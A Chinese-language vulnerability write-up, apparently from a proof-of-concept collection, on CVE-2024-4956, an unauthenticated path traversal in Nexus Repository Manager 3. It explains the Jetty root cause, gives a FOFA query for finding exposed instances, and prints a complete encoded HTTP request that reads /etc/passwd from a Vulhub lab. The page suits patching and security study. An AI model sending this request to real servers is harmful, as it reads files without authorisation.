Awesome-POC/Web应用漏洞/Nexus Repository Manager 3 未授权目录穿越漏洞 CVE-2024-4956.md
2024-11-06 14:10:36 +08:00

62 lines
2.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Nexus Repository Manager 3 未授权目录穿越漏洞 CVE-2024-4956
## 漏洞描述
Nexus Repository Manager 3 是一款软件仓库可以用来存储和分发Maven、NuGET 等软件源仓库。
其 3.68.0 及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16
## 漏洞影响
```
Sonatype Nexus Repository 3 < 3.68.1
```
## 网络测绘
```
app="Nexus-Repository-Manager"
```
## 环境搭建
Vulhub 执行如下命令启动一个 Nexus Repository Manager version 3.68.0 版本服务器(内存>4G
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8081`即可看到 Nexus 的默认页面。
![](images/Nexus%20Repository%20Manager%203%20未授权目录穿越漏洞%20CVE-2024-4956/image-20240527180238662.png)
## 漏洞复现
与 Orange Tsai 在[Blackhat US 2018](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)分享的 SpringMVC CVE-2018-1271 漏洞类似Jetty 的`URIUtil.canonicalPath()`函数也将空字符串认为是一个合法目录,导致了该漏洞的产生:
![](images/Nexus%20Repository%20Manager%203%20未授权目录穿越漏洞%20CVE-2024-4956/image-20240527155411887.png)
发送如下请求来复现漏洞:
```
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: your-ip:8081
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
```
可见,`/etc/passwd`已被成功读取。
![](images/Nexus%20Repository%20Manager%203%20未授权目录穿越漏洞%20CVE-2024-4956/image-20240527180408453.png)